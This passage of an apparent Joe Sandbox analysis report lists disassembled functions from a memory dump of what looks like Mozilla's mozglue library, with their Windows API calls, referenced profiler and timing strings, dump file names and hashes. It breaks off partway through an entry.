FreeLibrary.KERNEL32 ref: 6C5B97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9824

Strings

MapViewOfFileNuma2, xrefs: 6C5B97B1
ntdll.dll, xrefs: 6C5B96E3
NtMapViewOfSection, xrefs: 6C5B9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5B9670

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 785070c44e9d77c3265306a62cc6707f3e27218ecb76c7aa985ac09ace800631
Instruction ID: d55b47565fee14a58791fc922627726d36049c56a61cbc801af5ab2cdb497dc1
Opcode Fuzzy Hash: 785070c44e9d77c3265306a62cc6707f3e27218ecb76c7aa985ac09ace800631
Instruction Fuzzy Hash: CE61D371600311DBDF00CF6AECE4B9A7FB1EB8A314F104529E995A7780D738A845CF9A

Function 6C606660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C62F618), ref: 6C606694
GetThreadId.KERNEL32(?), ref: 6C6066B1
GetCurrentThreadId.KERNEL32 ref: 6C6066B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6066E1
EnterCriticalSection.KERNEL32(6C62F618), ref: 6C606734
GetCurrentProcess.KERNEL32 ref: 6C60673A
LeaveCriticalSection.KERNEL32(6C62F618), ref: 6C60676C
GetCurrentThread.KERNEL32 ref: 6C6067FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C606868
RtlCaptureContext.NTDLL ref: 6C60687F

Strings

WalkStack64, xrefs: 6C606890

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 98a9c8c257e3cce7053adf66fad7fe344b49fb5cc88fd305a473a21984d4e6fc
Instruction ID: 2e30eb97275442ed5e4bae0b4d3720e09072db7c547d5cf06e448291e5cb3795
Opcode Fuzzy Hash: 98a9c8c257e3cce7053adf66fad7fe344b49fb5cc88fd305a473a21984d4e6fc
Instruction Fuzzy Hash: 4251DD71A09300AFD715CF25C984B9ABBF4FF89714F00492DF999A7640D774E848CB9A

Function 6C5EDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EDE73
GetCurrentThreadId.KERNEL32 ref: 6C5EDF7D
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EDF8A
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EDFC9
GetCurrentThreadId.KERNEL32 ref: 6C5EDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5B4A68), ref: 6C5EDE7B

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5B4A68), ref: 6C5EDEB8
free.MOZGLUE(00000000,?,6C5B4A68), ref: 6C5EDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C5EDF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C5EDE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C5EE00E
<none>, xrefs: 6C5EDFD7

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: f944cdc6bc340e3db7fb3751c85bf89fcc0545df2f0977463ef60acbccfbd20b
Instruction ID: 3e2b67d5da2fc55c59b8306ab98f0e3f3a857da6d6d28b4699875a0216e51dc2
Opcode Fuzzy Hash: f944cdc6bc340e3db7fb3751c85bf89fcc0545df2f0977463ef60acbccfbd20b
Instruction Fuzzy Hash: B841E571B012209BDB109F66CC88BAA7775EFC9318F140015E91597B02CB79AC05CBEA

Function 6C5FD840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5FD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD918
GetCurrentThreadId.KERNEL32 ref: 6C5FD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD970
GetCurrentThreadId.KERNEL32 ref: 6C5FD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5FDA2E
GetCurrentThreadId.KERNEL32 ref: 6C5FDA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FDA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C5FDA91

Part of subcall function 6C5C5C50: GetTickCount64.KERNEL32 ref: 6C5C5D40
Part of subcall function 6C5C5C50: EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FDAB7

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 8f8034664b74c235ac9d7c8c65b90f8f3dfd002005ff02074fa752b47829bff7
Instruction ID: 0333c6d4635f4cfa9c4fa3057f66bd47a8ba1734822a21bcf81730c905ac5048
Opcode Fuzzy Hash: 8f8034664b74c235ac9d7c8c65b90f8f3dfd002005ff02074fa752b47829bff7
Instruction Fuzzy Hash: 5271A935604304DFCB04DF29C888A9ABBB5FF89354F158569E85A9B301DB34A845CFA5

Function 6C5FD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5FD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD52A
GetCurrentThreadId.KERNEL32 ref: 6C5FD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD55F
free.MOZGLUE(00000000), ref: 6C5FD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5FD5D3
GetCurrentThreadId.KERNEL32 ref: 6C5FD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD652
GetCurrentThreadId.KERNEL32 ref: 6C5FD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD6A2

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 0e539773b435dbde7afbbe333bb4567307dd2dd53ee606a47c3995f2eb245bdc
Instruction ID: bd0a2a167f11c15bff91ecacebe5fd50ffbe98bd5735a06bc675e3bb5e177760
Opcode Fuzzy Hash: 0e539773b435dbde7afbbe333bb4567307dd2dd53ee606a47c3995f2eb245bdc
Instruction Fuzzy Hash: 97516B71604705DFC704DF35C888A9ABBF4FF89358F108A2EE85A87711DB34A94ACB95

Function 6C5A1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5A1EC1
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1EE1
EnterCriticalSection.KERNEL32(6C62E744), ref: 6C5A1F38
LeaveCriticalSection.KERNEL32(6C62E744), ref: 6C5A1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C5A1F83
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FC0
EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FE2
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5A2019

Strings

Dbl, xrefs: 6C5A1F32
Dbl, xrefs: 6C5A1F56
MOZ_CRASH(), xrefs: 6C5A2000
\bl, xrefs: 6C5A1F3E

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dbl$Dbl$MOZ_CRASH()$\bl
API String ID: 2055633661-2003662670
Opcode ID: 624a4fefef57437f5626c32cda91aa8559df1c7042933f26c4fac25a862c1b57
Instruction ID: 4e0ba75fd7903f07b1a281ca017b0d8d97a2916a52963529a28721669fbcd374
Opcode Fuzzy Hash: 624a4fefef57437f5626c32cda91aa8559df1c7042933f26c4fac25a862c1b57
Instruction Fuzzy Hash: A041C171B003158BDF009FBACC84BAE7AB5FB8A389F010035E94597B40D7799805CBE9

Function 6C5C5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5C56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5C56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5C56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C5C5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5C57BC
GetTickCount64.KERNEL32 ref: 6C5C58CB
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C58F3
__aulldiv.LIBCMT ref: 6C5C5945
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C62F638,?,?,?,?), ref: 6C5C59E9

Strings

MOZ_APP_RESTART, xrefs: 6C5C56CC

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 0fb087a3eccda5efbd4e006a42a2e99e911f5275acfb1365366cc89fe6ea0fbf
Instruction ID: 5d4250336862ad32119328bf52f3b7aa0fa4f5b3f69c3764172ffaa5b9fdd3ff
Opcode Fuzzy Hash: 0fb087a3eccda5efbd4e006a42a2e99e911f5275acfb1365366cc89fe6ea0fbf
Instruction Fuzzy Hash: 60C1AC31A083509FC705CFA9C880A6ABBF1FFDA754F458A1DE8C497620D734A885DB87

Function 6C5EEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EEC8C

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EECA1
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C5EECC5
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5EED19
CloseHandle.KERNEL32(?), ref: 6C5EED28
free.MOZGLUE(00000000), ref: 6C5EED2F
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C5EEC94

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 03932673b80914f6dc77a8a821320a9a5a16bda0373f3da6a89e9143662c3add
Instruction ID: d2a060a07e2413237a826e5a00685c08ade598e3fbeb856d675adc263b216c20
Opcode Fuzzy Hash: 03932673b80914f6dc77a8a821320a9a5a16bda0373f3da6a89e9143662c3add
Instruction Fuzzy Hash: 6F213271600118EBCB008F65DC88AAA3779FFCA36CF104614FC1997741DBB99C068BAA

Function 6C5E8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C5AEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5AEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C5EB392,?,?,00000001), ref: 6C5E91F4

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Strings

marker-chart, xrefs: 6C5E905E
name, xrefs: 6C5E8F16
timeline-ipc, xrefs: 6C5E9096
timeline-memory, xrefs: 6C5E9088
data, xrefs: 6C5E90E8
timeline-overview, xrefs: 6C5E907A
timeline-fileio, xrefs: 6C5E90A4
stack-chart, xrefs: 6C5E90B2
marker-table, xrefs: 6C5E906C

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 66b34a779770cf88fe151751ecec8b07e23c648dee18eb0bca85acedeea74e6d
Instruction ID: 361e60b774ad795e8b3c00c882d51a509c8a1154583b516d5c4c9052b10b1b90
Opcode Fuzzy Hash: 66b34a779770cf88fe151751ecec8b07e23c648dee18eb0bca85acedeea74e6d
Instruction Fuzzy Hash: F5B1B0B1A04209DBDB04CF99CCA6BEEBBB6AF88318F104429D401ABF80D7759D45CBD5

Function 6C5CC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5CC5A3
WideCharToMultiByte.KERNEL32 ref: 6C5CC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5CC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C5CCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5CCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5CCAA5

Strings

(null), xrefs: 6C5CC596
0, xrefs: 6C5CD30A

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 4e55850ca7fe2cc86b11bacc5fb59ae24ba90ea29ec8786a314fd6d938f94a8c
Instruction ID: 238b23af7ec283966682840a5b1c22be70c2c3009ccf85bec683c40507c2adb6
Opcode Fuzzy Hash: 4e55850ca7fe2cc86b11bacc5fb59ae24ba90ea29ec8786a314fd6d938f94a8c
Instruction Fuzzy Hash: A2A19A307083429FDB10DF69C98875ABBE1AF89748F04882DE99AD7741D735E809CB97

Function 6C5CC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5CC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5CC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C5CC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5CC891

Strings

nan, xrefs: 6C5CC7A8
NAN, xrefs: 6C5CC7AD
INF, xrefs: 6C5CC794
inf, xrefs: 6C5CC78F

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 557226aece938a2439f296420c07fef63ab2838b88f68921af016e71bbf62e96
Instruction ID: 93c3154dca050eaba83730fce7331c3e532e3546df05bd62fb311b7793b6d341
Opcode Fuzzy Hash: 557226aece938a2439f296420c07fef63ab2838b88f68921af016e71bbf62e96
Instruction Fuzzy Hash: 5B51A5706087448BD700EFADC98169BFBF0BF9A308F004A2DE9D5A7650E775E9858B43

Function 6C5A3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C5A350E
__Init_thread_footer.LIBCMT ref: 6C5A3522
__aulldiv.LIBCMT ref: 6C5A3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A3592

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C5A3508
kernel32.dll, xrefs: 6C5A34EA

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b227b04fd828dc299030c3ba2133d002182e0b596c575e735fb8332e04328c0c
Instruction ID: cbbbbe47fd31ba4fa95100fc93d1585da9a89e9a3c0c38f7cf39bf8eae584c33
Opcode Fuzzy Hash: b227b04fd828dc299030c3ba2133d002182e0b596c575e735fb8332e04328c0c
Instruction Fuzzy Hash: EF319271B002159BDF00DFBACD88EAE77B5FB89305F100419E541936A0DB78E906CF55

Function 6C5A4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C5E4843,?), ref: 6C5A45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C5E4843,?), ref: 6C5A468A
